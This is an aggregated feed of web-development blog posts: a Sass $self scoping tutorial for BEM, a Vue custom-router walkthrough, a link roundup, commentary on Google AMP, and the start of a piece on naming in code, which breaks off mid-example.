Controlling scope is something you probably don't tend to consider when working with CSS and Sass. We have had access to the ampersand (&) for quite some time now, which gives us a level of scope—but it's easy for it to lose its usefulness when you're nested quite deeply. The & can send us down a windy road of doom when we completely lose track of what it means and can be responsible for some really heavy bloat.

Meanwhile, in JavaScript, we can control the scope of this by casting it as a variable at the point where it means what we will want it to. This is often at the start of a method or object:

function foo() { let self = this; return function() { // Self = foo(), even int his closure return self; } } // We need to instantiate foo() or its 'this' will be the window let bar = new foo();

Now that we have self in the above context, we always have a reference to foo() regardless of where we might find ourselves within the function. This is really useful when we end up in setTimeout scenarios, closures or event handlers.

A quick example of an event will hopefully help to illustrate my point.

Using this markup:

<div class="component"> <div class="component__child-element"></div> </div> <div class="component"> <div class="component__child-element"></div> </div>

We can add this JavaScript:

function foo() { // Load up all component child elements let childElements = [...document.querySelectorAll('.component__child-element')]; // Loop each element and add an event listener childElements.map(element => { element.addEventListener('click', function(evt) { // Log what `this` currently is console.log(this); }); }); } // Create a new instance of foo let bar = new foo();

In that code sample, if you click a component__child-element with your console open, this will report itself as the event target, which happens to be the element that we clicked. This isn't ideal if you thought it would reference foo().

Now, if we run the same sample with self in place of this in the event handler, the console will report an instance of foo() instead:

function foo() { // Control scope of this by storing it let self = this; // Load up all component child elements let childElements = [...document.querySelectorAll('.component__child-element')]; // Loop each element and add an event listener childElements.map(element => { element.addEventListener('click', function(evt) { // Self will report itself as `foo()` console.log(self); }); }); } // Create a new instance of foo let bar = new foo(); So, how does this relate to Sass?

I'm glad you stuck with me there, because that JavaScript example was a primer for what we're going to look at with Sass.

First, let's start with that same markup and some core styles.

<div class="component"> <div class="component__child-element"></div> </div> <div class="component"> <div class="component__child-element"></div> </div> .component { display: block; max-width: 30rem; min-height: 30rem; margin: 5rem auto; background: rebeccapurple; position: relative; border: 1px dashed rebeccapurple; &__child-element { display: block; width: 15rem; height: 15rem; border-radius: 50%; position: absolute; top: 50%; left: 50%; transform: translate3d(-50%, -50%, 0); background: white; } }

This gives us a nice purple square with a white circle inside it. Nothing groundbreaking, but useful for this example.

See the Pen Square with Circle by Geoff Graham (@geoffgraham) on CodePen.

You'll probably notice that we're using BEM syntax, so let's go ahead and create a modifier.

We want an inverted version of .component that has a white background with a purple circle in it. So, let's go ahead and approach it how we'd probably think to do it straight away by including it in the same nested ruleset:

.component { // Other styles redacted for brevity // The reversed modifier flips the colors around &--reversed { background: white; border-color: lightgray; &__child-element { background: rebeccapurple; } } }

See the Pen Square with Circle by Geoff Graham (@geoffgraham) on CodePen.

Wait, why is this not working? The problem is that the & has a scope of .component--reversed, so &__child-element compiles to .component--reversed__child-element, which doesn't exists in the markup.

$self to the rescue!

Just like in the JavaScript we looked at before, we're going to cast our initial scope into a variable called $self. You can do it like this:

.component { $self: &; }

That means that wherever we use $self in our component, it will compile to .component.

So let's refactor that reversed modifier, so that it actually works:

.component { $self: &; // Hey look, it's our new best friend! display: block; max-width: 30rem; min-height: 30rem; // Other styles redacted &--reversed { background: white; border-color: lightgray; // Here, we use $self to get the correct scope #{ $self }__child-element { background: rebeccapurple; } } }

The compiled CSS for that element is now .component--reversed .component__child-element which of course exists and successfully turns the inner circle purple:

See the Pen 'Using Sass to Control Scope With BEM Naming' example by Andy Bell (@hankchizljaw) on CodePen.

Further exploration

One thing I like to do in my components is reference a parent's modifier within the element itself, rather than referencing the element within the modifier like we did earlier. This is to keep my styles grouped per element. For the same reason, I'll also put media queries within elements too.

I end up with code that looks like this:

// We're still within .component where $self has been declared. &__child-element { display: block; width: 15rem; height: 15rem; border-radius: 50%; position: absolute; top: 50%; left: 50%; transform: translate3d(-50%, -50%, 0); background: white; // Flip the color when the parent is reversed #{ $self }--reversed & { background: rebeccapurple; } }

Having access to $self as the root context gives us the flexibility to approach our modifiers like that with ease. Because $self is .component and & is .component__element, adding the --reversed portion generates us .component--reversed .component__element which is exactly what we wanted.

See the Pen 'Using Sass to Control Scope With BEM Naming' example by Andy Bell (@hankchizljaw) on CodePen.

A more advanced example

Now let's really push the boat out and write something interesting. We're going to layout three separate grids. Using $self, I'm going to change the color of the grid items using a sibling selector within a grid-item itself.

See the Pen 'Using Sass to Control Scope With BEM Naming' example by Andy Bell (@hankchizljaw) on CodePen.

Let's look at the Sass that affects the color:

&__item { // Item styles redacted for brevity // For each direct `.grid sibling`, make this item rebeccapurple #{ $self } + #{ $self } & { background: rebeccapurple; } }

What that selector compiles to is .grid + .grid .grid__item. The combination of $self and & enables us to generate that within the context of the element which is our &. This is incredibly powerful for maintaining some sort of order within complex codebases.

Wrapping up

We've taken inspiration from JavaScript to control scope in our BEM components with Sass by using this little snippet at the root: $self: &. With the scope control, we gain flexibility to write clean, organized, BEM driven CSS when we are deep in a modifier or child element.

I hope this little tip will help you to improve your Sass. If it does, get in touch with me on Twitter or drop a comment below. It'll be great to see how gaining control of scope with Sass has helped you out.

Using Sass to Control Scope With BEM Naming is a post from CSS-Tricks

Everything you need to know about CSS Variables

Css Tricks - Tue, 02/27/2018 - 9:27am

This is by far the biggest deep dive I've seen on CSS Variables posted to the web and it's merely Chapter One of complete e-book on the topic.

Truth is, I'm still on the thick of reading through this myself, but had to stop somewhere in the middle to write this up and share it because it's just that gosh-darned useful. For example, the post goes into great detail on three specific use cases for CSS Variables and breaks the code down to give a better understanding of what it does, in true tutorial fashion.

Scoping, inheritance, resolving multiple declarations, little gotchas—there's plenty in here for beginners and advanced developers alike.

OK, back to reading. &#x1f913;

Direct Link to ArticlePermalink

Everything you need to know about CSS Variables is a post from CSS-Tricks

Linkbait 38

QuirksBlog - Tue, 02/27/2018 - 6:16am

The missing links.

  • Elegant and simple solution by Mr. M. that shows breakpoint information during website development. So simple that it surprises me this isn’t being used widely yet.
    Emil Björklund adds a slight twist and a few notes.
  • VERY cute animated avatar. Simple, subtle, efficient animations FTW!
  • Excellent article about designing with grids. Not exactly a tutorial; more like a showcase of how to bring all those grid elements together to form a nice, and above all non-standard site design.
  • Lea has a new talk: an introduction to web development for CS students. It contains a JavaScript context quiz (I had only two errors), and highlights CSS Grid Garden, where you can learn grid, and a CSS Selector challenge with plates, bento boxes, apples, and more.
  • Good piece by Ronald Méndez on ALA about earning a seat at the table as a front-end engineer. His early steps mirror the ones I made about ten years earlier: the biggest change was me just sitting down with graphic designers to go over their work before showing it to clients. This worked amazingly, as Ronald also found.
    Anyway, worth a read if you feel under-appreciated as a web developer.
  • Stuart muses about collecting data, and shows that it’s possible to collect meaningful data without compromising individual users’ privacy. The trick is that users should lie. Not all the time, and not all the users, but you should ask a certain percentage of your users to lie.
    If, say, 10% of Chrome users say they use Firefox and 10% of Firefox users say they use Chrome, the aggregate browser use statistics remain roughly the same, but you cannot say with certainty which browser an individual is using.
  • Roman Koramov published a truly eye-opening use of CSS variables for making a sortable table. No JavaScript needed.
    Unfortunately, the technique causes accessibility issues because screen readers cannot follow CSS order — just DOM order. So they ignore the sorting.
    It seems to me we can invoke progressive enhancement for some problems. Table isn’t sorted? Pity; it works OK enough without being sorted. Patrick Lauke disagreed, but I feel he’s arguing strictly from a worst-case scenario.
    Anyway, make up your own mind — as long as you remember CSS variables are awesome.
  • Frank Chimero defines spaghetti toolchains. I wish I thought of that term.

    simply npm your webpack via grunt with vue babel or bower to react asdfjkl;lkdhgxdlciuhw

    [...] Last month, I had to install a package manager to install a package manager. That’s when I closed my laptop and slowly backed away from it. We’re a long way from the CSS Zen Garden where I started.

    If you go talk to a senior software developer, you’ll probably hear them complain about spaghetti code. [...] while I can’t identify spaghetti code as a designer, I sure as hell know about spaghetti workflows and spaghetti toolchains. It feels like we’re there now on the web.

  • Chris Coyier reacts to that article. He doesn’t exactly disagree, but points out that the web is a big place, and while some sites don’t need complexity, others do.

    Developers generally aren't asked to innovate on the business and product side. They build what they are told to, so they use their smarts to innovate on their own tools.

    And

    We talk about complexity, but it's all opt-in. A wonderfully useful (and simple) website of a decade ago remains wonderfully useful and simple. Fortunately for all involved, the web, thus far, has taken compatibility quite seriously. Old websites don't just break.

    What I’m afraid of, though, is that today a simple website is regarded as a sub-optimal solution. A website has to opt into everything the web has to offer, or ... well, I’m not sure why, but there must be a huge downside to not making it complex.
  • An inside look at Facebook in the 2016 campaign, and more in general the way it sells ads, with controversial ads getting a discount.

    The Trump and Clinton campaigns bid ruthlessly for the same online real estate in front of the same swing-state voters. But because Trump used provocative content to stoke social media buzz, and he was better able to drive likes, comments, and shares than Clinton, his bids received a boost from Facebook’s click model, effectively winning him more media for less money.

    No Russians necessary. The Russian involvement existed, but it was hyped up by the tech caste in order to show that technology was still magic, and was gratefully accepted by “moderate” right-wing voters wishing to be absolved from Trump — and possibly hardcore Clinton supporters wanting to shift blame away from her.
    As Matt Yglesias said:

    Given that Trump’s strongest support is among the least-online generation we should be a little skeptical of attributing anything to digital wizardry.

  • Jeremy continues last week’s AMP discussion with the fundamental question: should we countenance companies’ power over the web, even if they mostly use their power for good?

    One of my greatest fears for the web is that building it becomes the domain of a professional priesthood. Anything that raises the bar to writing some HTML or CSS makes me very worried. Usually it’s toolchains that make things more complex, but in this case the barrier to entry is being brought right into the browser itself.

    [...] some CSS will be off-limits until they meet the entry requirements of HTTPS …even though CSS and HTTPS have literally nothing to do with one another. [...]

    No doubt Mozilla (and the W3C Technical Architecture Group) believe that they are doing the right thing. [...] They believe that, in this particular case, the ends justify the means.

    I strongly disagree.

  • Interesting examples of AR by Luke Wroblewski.
  • Samsung puts on its first own web conference, Samsung Create. I approve of browser makers setting up their own conferences. It makes the engineers accessible to web developers, and allows both sides to find out what the other is thinking. Also, I approve of more browser vendors, since it helps diversity. Pity the conference is in San Francisco; let’s hope for a European edition. Also a pity there’s not much more information yet.
  • And Tomi gives us the definitive 2017 smartphone stats.
    1. Samsung
    2. BBK
    3. Apple
    WTF is BBK? Read the article; was new for me, too.
  • Have a tip for the next Linkbait? Or a comment on this one? Let me know (or here or here).

Let’s Build a Custom Vue Router

Css Tricks - Tue, 02/27/2018 - 4:21am

Plenty of tutorials exist that do a great job in explaining how Vue’s official routing library, vue-router, can be integrated into an existing Vue application. vue-router does a fantastic job by providing us with the items needed to map an application’s components to different browser URL routes.

But, simple applications often don’t need a fully fledged routing library like vue-router. In this article, we'll build a simple custom client-side router with Vue. By doing so, we’ll gather an understanding of what needs to be handled to construct client-side routing as well as where potential shortcomings can exist.

Though this article assumes basic knowledge in Vue.js; we'll be explaining things thoroughly as we start to write code!

Routing

First and foremost: let’s define routing for those who may be new to the concept.

In web development, routing often refers to splitting an application’s UI based on rules derived from the browser URL. Imagine clicking a link and having the URL go from https://website.com to https://website.com/article/. That’s routing.

Routing is often categorized in two main buckets:

  • Server-side routing: the client (i.e. the browser) makes a request to the server on every URL change.
  • Client-side routing: the client only makes a request to the server upon initial-page load. Any changes to the application UI based on URL routes are then handled on the client.

Client-side routing is where the term single-page application (or SPA for short) comes in. SPAs are web apps that load only once and are dynamically updated with user interaction without the need to make subsequent requests to the server. With routing in SPAs, JavaScript is the driving force that dynamically renders different UI.

Now that we have a brief understanding of client-side routing and SPAs, let’s get an overview of what we’ll be working on!

Case Study: Pokémon

The app we aim to construct is a simple Pokémon app that displays details of a particular Pokémon based on the URL route.

The application will have three unique URL routes: /charizard, /blastoise, and /venusaur. Based on the URL route entered, a different Pokémon will be shown:

In addition, footer links exist at the bottom of the application to direct the user to each respective route upon click:

Do We Even Need Routing for This?

For simple applications like this, we don’t necessarily need a client-side router to make our app functional. This particular app could be composed of a simple parent-child component hierarchy that uses Vue props to dictate the information that should be displayed. Here’s a Pen that shows just this:

See the Pen Vue Pokemon by Hassan Dj (@itslit) on CodePen.

Though the app would functionally work, it misses a substantial feature that’s expected from most web applications—responding to browser navigation events. We’d want our Pokémon app to be accessible and to show different details for different pathnames: /charizard, /blastoise, and /venusaur. This would allow users to refresh different pages and keep their location in the app, bookmark the URLs to come back to later, and potentially share the URL with others. These are some of the main benefits of creating routes within an application.

Now that we have an idea of what we’ll be working on, let’s start building!

Preparing the App

The easiest way to follow along step-by-step (if you wish to do so) is to clone the GitHub repo I've set up.

Download on GitHub

When cloned, install the project dependencies with:

npm install

Let’s take a brief look within the project directory.

$ ls README.md index.html node_modules/ package.json public/ src/ static/ webpack.config.js

There also exists the hidden files, .babelrc and .gitignore within the project scaffold.

This project is a simple webpack-configured application scaffolded with vue-cli, the Vue command line interface.

index.html is where we declare the DOM element—#app— with which we'll use to mount our Vue application:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.5.3/css/bulma.css"> <link rel="stylesheet" href="../public/styles.css" /> <title>Pokémon - Routing</title> </head> <body> <div id="app"></div> <script src="/dist/build.js"></script> </body> </html>

In the <head> tag of the index.html file, we introduce Bulma as our application’s CSS framework and our own styles.css file that lives in the public/ folder.

Since our focus is on the usage of Vue.js, the application already has all the custom CSS laid out.

The src/ folder is where we’ll be working directly from:

$ ls src/ app/ main.js

src/main.js represents the starting point of our Vue application. It’s where our Vue instance is instantiated, where we declare the parent component that is to be rendered, and the DOM element #app with which our app is to be mounted to:

import Vue from 'vue'; import App from './app/app'; new Vue({ el: '#app', render: h => h(App) });

We’re specifying the App component, from the src/app/app.js file, to be the main parent component of our application.

In the src/app directory, there exists two other files - app-custom.js and app-vue-router.js:

$ ls src/app/ app-custom.js app-vue-router.js app.js

app-custom.js denotes the completed implementation of the application with a custom Vue router (i.e. what we'll be building in this article). app-vue-router.js is a completed routing implementation using the vue-router library.

For the entire article, we’ll only be introducing code to the src/app/app.js file. With that said, let’s take a look at the starting code within src/app/app.js:

const CharizardCard = { name: 'charizard-card', template: ` <div class="card card--charizard has-text-weight-bold has-text-white"> <div class="card-image"> <div class="card-image-container"> <img src="../../static/charizard.png"/> </div> </div> <div class="card-content has-text-centered"> <div class="main"> <div class="title has-text-white">Charizard</div> <div class="hp">hp 78</div> </div> <div class="stats columns is-mobile"> <div class="column">&#x1f525;<br> <span class="tag is-warning">Type</span> </div> <div class="column center-column">199 lbs<br> <span class="tag is-warning">Weight</span> </div> <div class="column">1.7 m <br> <span class="tag is-warning">Height</span> </div> </div> </div> </div> ` }; const App = { name: 'App', template: ` <div class="container"> <div class="pokemon"> <pokemon-card></pokemon-card> </div> </div> `, components: { 'pokemon-card': CharizardCard } }; export default App;

Currently, two components exist: CharizardCard and App. The CharizardCard component is a simple template that displays details of the Charizard Pokémon. The App component declares the CharizardCard component in its components property and renders it as <pokemon-card></pokemon-card> within its template.

We currently only have static content with which we’ll be able to see if we run our application:

npm run dev

And launch localhost:8080:

To get things started, let’s introduce two new components: BlastoiseCard and VenusaurCard that contains details of the Blastoise and Venusaur Pokémon respectively. We can lay out these components right after CharizardCard:

const CharizardCard = { // ... }; const BlastoiseCard = { name: 'blastoise-card', template: ` <div class="card card--blastoise has-text-weight-bold has-text-white"> <div class="card-image"> <div class="card-image-container"> <img src="../../static/blastoise.png"/> </div> </div> <div class="card-content has-text-centered"> <div class="main"> <div class="title has-text-white">Blastoise</div> <div class="hp">hp 79</div> </div> <div class="stats columns is-mobile"> <div class="column">&#x1f4a7;<br> <span class="tag is-light">Type</span> </div> <div class="column center-column">223 lbs<br> <span class="tag is-light">Weight</span> </div> <div class="column">1.6 m<br> <span class="tag is-light">Height</span> </div> </div> </div> </div> ` }; const VenusaurCard = { name: 'venusaur-card', template: ` <div class="card card--venusaur has-text-weight-bold has-text-white"> <div class="card-image"> <div class="card-image-container"> <img src="../../static/venusaur.png"/> </div> </div> <div class="card-content has-text-centered"> <div class="main"> <div class="title has-text-white">Venusaur</div> <div class="hp hp-venusaur">hp 80</div> </div> <div class="stats columns is-mobile"> <div class="column">&#x1f343;<br> <span class="tag is-danger">Type</span> </div> <div class="column center-column">220 lbs<br> <span class="tag is-danger">Weight</span> </div> <div class="column">2.0 m<br> <span class="tag is-danger">Height</span> </div> </div> </div> </div> ` }; const App = { // ... }; export default App;

With our application components established, we can now begin to think how we’ll create routing between these components.

router-view

To establish routing, we’ll start by buiding a new component that holds the responsibility to render a specified component based on the app’s location. We’ll create this component in a constant variable named View.

Before we create this component, let’s see how we might use it. In the template of the App component, we’ll remove the declaration of <pokemon-card> and instead render the upcoming router-view component. In the components property; we’ll register the View component constant as <router-view> to be declared in the template.

const App = { name: 'App', template: ` <div class="container"> <div class="pokemon"> <router-view></router-view> </div> </div> `, components: { 'router-view': View } }; export default App;

The router-view component will match the correct Pokémon component based on the URL route. This matching will be dictated in a routes array that we’ll create. We’ll create this array right above the App component:

const CharizardCard = { // ... }; const BlastoiseCard = { // ... }; const VenusaurCard = { // ... }; const routes = [ {path: '/', component: CharizardCard}, {path: '/charizard', component: CharizardCard}, {path: '/blastoise', component: BlastoiseCard}, {path: '/venusaur', component: VenusaurCard} ]; const App = { // ... }; export default App;

We’ve set each Pokémon path to their own respective component (e.g. /blastoise will render the BlastoiseCard component). We’ve also set the root path / to the CharizardCard component.

Let’s now begin to create our router-view component.

The router-view component will essentially be a mounting point to dynamically switch between components. One way we can do this in Vue is by using the reserved <component> element to establish Dynamic Components.

Let’s create a starting point for router-view to get an understanding of how this works. As mentioned earlier; we’ll create router-view within a constant variable named View. So with that said, let’s set up View right after our routes declaration:

const CharizardCard = { // ... }; const BlastoiseCard = { // ... }; const VenusaurCard = { // ... }; const routes = [ // ... ]; const View = { name: 'router-view', template: `<component :is="currentView"></component>`, data() { return { currentView: CharizardCard } } }; const App = { // ... }; export default App;

The reserved <component> element will render whatever component the is attribute is bound to. Above, we’ve attached the is attribute to a currentView data property that simply maps to the CharizardCard component. As of now, our application resembles the starting point by displaying CharizardCard regardless of what the URL route is.

Though router-view is now appropriately rendered within App, it’s not currently dynamic. We need router-view to display the correct component based on the URL pathname upon page load. To do this, we’ll use the created() hook to filter the routes array and return the component that has a path that matches the URL path. This would make View look something like this:

const View = { name: 'router-view', template: `<component :is="currentView"></component>`, data() { return { currentView: {} } }, created() { this.currentView = routes.find( route => route.path === window.location.pathname ).component; } };

In the data function, we’re now instantiating currentView with an empty object. In the created() hook, we’re using JavaScript’s native find() method to return the first object from routes that matches route.path === window.location.pathname. We can then get the component with object.component (where object is the returned object from find()).

Inside a browser environment, window.location is a special object containing the properties of the browser’s current location. We grab the pathname from this object which is the path of the URL.

At this stage; we'll be able to see the different Pokémon Card components based on the state of our browser URL!

The BlastoiseCard component now renders at the /blastoise route.

There’s something else we should consider. If a random URL pathname is entered, our app will currently error and present nothing to the view.

To avoid this, let’s introduce a simple check to display a "Not Found" template if the URL pathnamedoesn’t match any path existing in the routes array. We’ll separate out the find() method to a component method named getRouteObject() to avoid repetition. This updates the View object to:

const View = { name: 'router-view', template: `<component :is="currentView"></component>`, data() { return { currentView: {} } }, created() { if (this.getRouteObject() === undefined) { this.currentView = { template: ` <h3 class="subtitle has-text-white"> Not Found :(. Pick a Pokémon from the list below! </h3> ` }; } else { this.currentView = this.getRouteObject().component; } }, methods: { getRouteObject() { return routes.find( route => route.path === window.location.pathname ); } } };

If the getRouteObject() method returns undefined, we display a "Not Found" template. If getRouteObject()returns an object from routes, we bind currentView to the component of that object. Now if a random URL is entered, the user will be notified:

The "Not Found" view is rendered if the URL pathname does not match any of the values in the routes array.

The "Not Found" template tells the user to pick a Pokémon from a list. This list will be the links we’ll create to allow the user to navigate to different URL routes.

Awesome! Our app is now responding to some external state, the location of the browser. router-view determines which component should be displayed based on the app’s location. Now, we need to construct links that will change the location of the browser without making a web request. With the location updated, we want to re-render our Vue app and rely on router-view to appropriately determine which component to render.

We’ll label these links as router-link components.

router-link

In web interfaces, we use HTML <a> tags to create links. What we want here is a special type of <a> tag. When the user clicks on this tag, we’ll want the browser to skip its default routine of making a web request to fetch the next page. Instead, we just want to manually update the browser’s location.

Let’s compose a router-link component that produces an <a> tag with a special click binding. When the user clicks on the router-link component, we’ll use the browser’s history API to update the browser’s location.

Just like we did with router-view, let’s see how we’ll use this component before we build it.

In the template of the App component, let’s create three <router-link> elements within a parent <div class="pokemon-links"></div> element. Rather than using the href attribute in <router-link>, we’ll specify the desired location of the link using a to attribute. We’ll also register the upcoming router-link component (from a Link constant variable) in the App components property:

const App = { name: 'App', template: ` <div class="container"> <div class="pokemon"> <router-view></router-view> <div class="pokemon-links has-text-centered"> <router-link to="/charizard"></router-link> <router-link to="/blastoise"></router-link> <router-link to="/venusaur"></router-link> </div> </div> </div> `, components: { 'router-view': View, 'router-link': Link } };

We’ll create the Link object that represents router-link right above the App component. We've established the router-link component should always be given a to attribute (i.e. prop) that has a value of the target location. We can enforce this prop validation requirement like so:

const CharizardCard = { // ... }; const BlastoiseCard = { // ... }; const VenusaurCard = { // ... }; const routes = [ // ... ]; const View = { // ... }; const Link = { name: 'router-link', props: { to: { type: String, required: true } } }; const App = { // ... }; export default App;

We can create the template of router-link to consist of an <a> tag with an @click handler attribute. Upon trigger, the @click handler will call a component method, labeled navigate(), that navigates the browser to the desired location. This navigation will occur with the use of the history.pushState() method. With that said, the Link constant object will be updated to:

const Link = { name: 'router-link', props: { to: { type: String, required: true } }, template: `<a @click="navigate" :href="to">{{ to }}</a>`, methods: { navigate(evt) { evt.preventDefault(); window.history.pushState(null, null, this.to); } } };

Within the <a> tag, we’ve bound the value of the to prop to the element text content with {{ to }}.

When navigate() is triggered, it first calls preventDefault() on the event object to prevent the browser from making a web request for the new location. The history.pushState() method is then called to direct the user to the desired route location. history.pushState() takes three arguments:

  • a state object to pass serialized state information
  • a title
  • the target URL

In our case, there is no state information that’s needed to be passed, so we've left the first argument as null. Some browsers (e.g. Firefox) currently ignore the second parameter, title, hence we’ve left that as null as well.

The target location, the to prop, is passed in to the third and last parameter. Since the to prop contains the target location in a relative state, it will be resolved relative to the current URL. In our case, /blastoise will resolve to http://localhost:8080/blastoise.

If we click any of the links now, we’ll notice our browser updates to the correct location without a full page reload. However, our app will not update and render the correct component.

This unexpected behaviour happens because when router-link is updating the location of the browser, our Vue app is not alerted of the change. We’ll need to trigger our app (or simply just the router-view component) to re-render whenever the location changes.

Though there’s a few ways to accomplish this behaviour, we’ll do this by using a custom EventBus. An EventBus is a Vue instance responsible in allowing isolated components to subscribe and publish custom events between each other.

At the beginning of the file, we’ll import the vue library and create an EventBus with a new Vue() instance:

import Vue from 'vue'; const EventBus = new Vue();

When a link has been clicked, we need to notify the necessary part of the application (i.e. router-view) that the user is navigating to a particular route. The first step is to create an event emitter using the EventBus's events interface in the navigate() method of router-link. We’ll give this custom event a name of navigate:

const Link = { // ..., methods: { navigate(evt) { evt.preventDefault(); window.history.pushState(null, null, this.to); EventBus.$emit('navigate'); } } };

We can now set the event listener/trigger in the created() hook of router-view. By setting the custom event listener outside of the if/else statement, the created() hook of View will be updated to:

const View = { // ..., created() { if (this.getRouteObject() === undefined) { this.currentView = { template: ` <h3 class="subtitle has-text-white"> Not Found :(. Pick a Pokémon from the list below! </h3> ` }; } else { this.currentView = this.getRouteObject().component; } // Event listener for link navigation EventBus.$on('navigate', () => { this.currentView = this.getRouteObject().component; }); }, // ... };

When the browser’s location changes by clicking a <router-link> element, this listening function will be invoked, re-rendering router-view to match against the latest URL!

Great! Our app now navigates appropriately as we click each of the links.

There’s one last thing we need to consider. If we try to use the browser back/forward buttons to navigate through the browser history, our application will not currently re-render correctly. Although unexpected, this occurs because no event notifier is emitted when the user clicks browser back or browser forward.

To make this work, we’ll use the onpopstate event handler.

The onpopstate event is fired each time the active history entry changes. A history change is invoked by clicking the browser back or browser forward buttons, or calling history.back() or history.forward() programmatically.

Right after our EventBus creation, let’s set up the onpopstate event listener to emit the navigate event when a history change is invoked:

window.addEventListener('popstate', () => { EventBus.$emit('navigate'); });

Our application will now respond appropriately even when the browser navigation buttons are used!

And there we have it! We’ve just built a custom Vue router using an EventBus and dynamic components. Even with the tiny size of our app we can enjoy a noticeable performance improvement. Avoiding a full page load also saves hundreds of milliseconds and prevents our app from "blinking" during the page change.

Conclusion

I love Vue. One reason as to why - it's incredibly easy to use and manipulate Vue components just like we saw in this article.

In the introduction, we mentioned how Vue provides the vue-router library as the official routing library of the framework. We’ve just created simple versions of the same main items that are used in vue-router:

  • routes: the array responsible in mapping components to respective URL pathnames.
  • router-view: the component that renders a specified app component based on the app’s location
  • router-link: the component that allows the user to change the location of the browser without making a web request.

For very simple applications, the routing we’ve built (or a variation thereof like this one built by Chris Fritz) can do the minimal amount of work needed to route our applications.

The vue-router library, on the other hand, is built in a more complicated manner and introduces incredibly useful capabilities, often needed in larger applications like:

Though the vue-router library does come with additional boilerplate, it’s fairly easy to integrate once your application is composed of well isolated and distinct components. If you're interested, you can see the components of vue-router being used to enable routing in this application here.

Hopefully this was as enjoyable to you as it was for me in compiling this post! Thanks for reading!

This article is an adapted (and summarized) segment from the upcoming book, Fullstack Vue, that I’m working on with the Fullstack.io team! Having the opportunity to work with the folks at Fullstack has been nothing short of being a blast. In true Fullstack fashion, the book covers numerous facets of Vue including but not restricted to routing, simple state management, form handling, Vuex, server persistence, and testing. If this is something that piques your interest or if you have any questions at all, follow (or message) me on twitter (@djirdehh)! If the above doesn’t pique your interest, you can still follow me anyway. &#x1f61b;

Let’s Build a Custom Vue Router is a post from CSS-Tricks

AMP News

Css Tricks - Mon, 02/26/2018 - 11:26am

AMP is controversial, to say the least. Dave and I did a show on it about a year ago that to me felt fairly balanced in addressing some of the issues. Let's cover some recent news and responses.

One thing that isn't usually controversial: it's fast. AMP pages are damn performant. Even that, though, is contentious. Ferdy Christant notes:

Technically correct AMP pages will perform very similar to any non-horrible web page.

The difference between AMP performing instantly and getting numbers ranging from 2–8s as seen above have to be explained.

Part of that answer you can probably guess: the cache is simply very fast. It’s hard to compete with a Google-class CDN.

You don't need AMP to have a fast website.

FYI @CityLab article pages load faster than @nytimes AMP pages. Just to show you do not need AMP to have fast loading pages #webperf pic.twitter.com/34YboEBwLP

— Michael Donohoe (@donohoe) February 23, 2018

The most controversial bit is that carrot offered for using AMP: the search results news carousel. The carousel is extremely prominent in Google search results, and AMP is a one-way ticket to get in. You could make a site faster than AMP, but that doesn't meet the criteria for entry. Tim Kadlec:

there has been no indication of any attempt to address the first issue, that of incentivization and premium placement. In fact, not only has there been no attempt to fix it, it appears the AMP team is doubling-down on those incentives instead.

Doubling-down, as in, AMP stories will be released soon and will also enjoy premium placement on Google. Every indication is that the primary desire of people reaching for AMP is the preferential search results treatment. Gina Trapani:

In my experience people are motivated to use AMP… I’ve seen this from our clients…mostly because of SEO. They want it in that top stories carousel, they want that lightning bolt of approval in regular search results which is happening now.

Of course, Google can do whatever they want. They are an independent company and if they wanna tell us that we have to use a special format to have benefits on their platform, then that's the way it is. It doesn't mean we have to be happy about it. Hundreds of people have signed the AMP letter, which calls for two changes:

  1. Instead of granting premium placement in search results only to AMP, provide the same perks to all pages that meet an objective, neutral performance criterion such as Speed Index. Publishers can then use any technical solution of their choice.
  2. Do not display third-party content within a Google page unless it is clear to the user that they are looking at a Google product. It is perfectly acceptable for Google to launch a “news reader” but it is not acceptable to display a page that carries only third-party branding on what is actually a Google URL, nor to require that third party to use Google’s hosting in order to appear in search results.

Ethan Marcotte is concerned:

absent action from some sort of regulatory body, I’m not sure what influence you or I could exert to change the trajectory of AMP

...but thinks we could perhaps collectively have influence. Jeremy Keith has called some of the messaging behind AMP an outright lie:

I don’t think the developers working on the AMP format are intentionally deceptive (although they are engaging in some impressive cognitive gymnastics). The AMP ecosystem, on the other hand, that’s another story—the preferential treatment of Google-hosted AMP pages in the carousel and in search results; that’s messed up.

Jeremy also notes that the power Google is exerting here is worrisome. Part of the stated motivation is trying to fix the web. Taking a stand, as it were.

I remember feeling very heartened to see WikiPedia, Google and others take a stand on January 18th, 2012 (against SOPA and PIPA). But I also remember feeling uneasy. In this particular case, companies were lobbying for a cause I agreed with. But what if they were lobbying for a cause I didn’t agree with? Large corporations using their power to influence politics seems like a very bad idea. Isn’t it still a bad idea, even if I happen to agree with the cause?

Cloudflare quite rightly kicked The Daily Stormer off their roster of customers. Then the CEO of Cloudflare quite rightly wrote this in a company-wide memo:

Literally, I woke up in a bad mood and decided someone shouldn’t be allowed on the Internet. No one should have that power.

There’s an uncomfortable tension here.

AMP is also expanding to other technology, notably email. Well, Gmail, that is. Fast, well-rendering, interactive emails seem like a hugely positive thing. Perhaps predictably at this point, people in that industry have similar concerns. Jason Rodriguez:

I’m an email guy. I’ve written three books on email, spoken at a bunch of conferences on the topic, and help build tools for other email folks at my day job. I love seeing the email platform grow and evolve. I love seeing people working on interesting ideas that make email more valuable for the subscribers that receive them.

So, you’d think I’d be thrilled by Google’s announcement about adding dynamic content and interactivity to Gmail with AMP for Email. You’d be wrong.

Jason's primary concern being that instead of improving support for what we already have, they've invented a new format and called it open-sourced, but have full control over it. However, with far more blockers in the way (e.g. ESPs not supporting the new MIME type) and less carrots to offer, it seems like a long shot it will happen.

I know I've covered a lot of negative news here, but that's mostly what I've been seeing. Strangely enough, I feel more interested in watching how this all shakes out than I am motivated to weigh in on either side.

AMP News is a post from CSS-Tricks

Working Towards Better Naming

Css Tricks - Mon, 02/26/2018 - 4:12am

There is a quote that I bet every one of you has heard many times. You know the one. The one that reminds you how hard naming is.

Let’s talk names.

We talk often about how hard naming is, but it’s less common see people talk about how to get better at it. Even naming philosophies lend structure to naming, but don’t pick names for you. Names are more than just some hard thing we get needlessly caught up in. They're essential to good code. Good names can make a code base easy to pick up and work with. Bad names are hard to understand, or worse yet, prone to error.

Naming Examples

Let’s look at some examples in JavaScript.

function processData(data) { var result = JSON.parse(data); return result; }

